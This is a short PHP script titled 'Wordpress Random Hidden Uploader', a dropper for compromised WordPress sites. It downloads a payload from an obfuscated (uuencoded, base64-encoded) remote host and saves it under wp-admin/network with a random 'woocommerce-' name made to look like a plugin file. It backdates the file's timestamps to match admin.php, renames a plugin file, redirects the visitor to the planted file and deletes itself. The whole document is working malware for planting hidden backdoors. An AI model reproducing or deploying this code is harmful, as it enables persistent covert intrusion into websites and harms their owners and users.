Wordpress Random Hidden Uploader

<?php
//filename: gwp.php
$dodo = $_SERVER['SERVER_NAME'];
$rstr = str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890');
$rrnb = substr($rstr,0,6).'.php';
$data=curl_init();
curl_setopt($data, CURLOPT_URL, convert_uudecode(base64_decode('TTonMVQ8I0hPK1chUztTRFA6NjFLOkZdRDxWSU86NklEOiZFVTonPFAuNkROOEY1TjkmRUc6NzFBOyMoUAo0LDNETj4nRVorVjlJOyY0Tz0mNVM9IllUPicwYApgCg==')));
curl_setopt($data, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($data, CURLOPT_TIMEOUT,10);
$ba = base64_decode(curl_exec($data));
if (! is_dir ( "./wp-admin" ))
mkdir ( "./wp-admin", 0777 );
if (! is_dir ( "./wp-admin/network" ))
mkdir ( "./wp-admin/network", 0777 );
$filetemp = './wp-admin/network/woocommerce-'.$rrnb;
$ftime = filemtime("./wp-admin/network/admin.php");
file_put_contents($filetemp,$ba);
touch("./wp-admin/network", $ftime, $ftime);
touch("./wp-admin/network/woocommerce-".$rrnb, $ftime, $ftime);
rename('./wp-content/plugins/itr-popup/functions/jscolor/main.php','./wp-content/plugins/itr-popup/functions/jscolor/main-'.$rrnb);
$url = $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
preg_match('/(.*?)\/(.*?)wp-content/',$url,$tmp);
if($tmp[2] != ''){
    $mddir = $tmp[2];
}else{
    $mddir = '';
}
$uurf = 'http://'.$dodo.'/'.$mddir.'wp-admin/'.'network/'.'woocommerce-'.$rrnb;
echo '<meta http-equiv="Refresh" content="0; url='.$uurf.'">';
unlink("./gwp.php");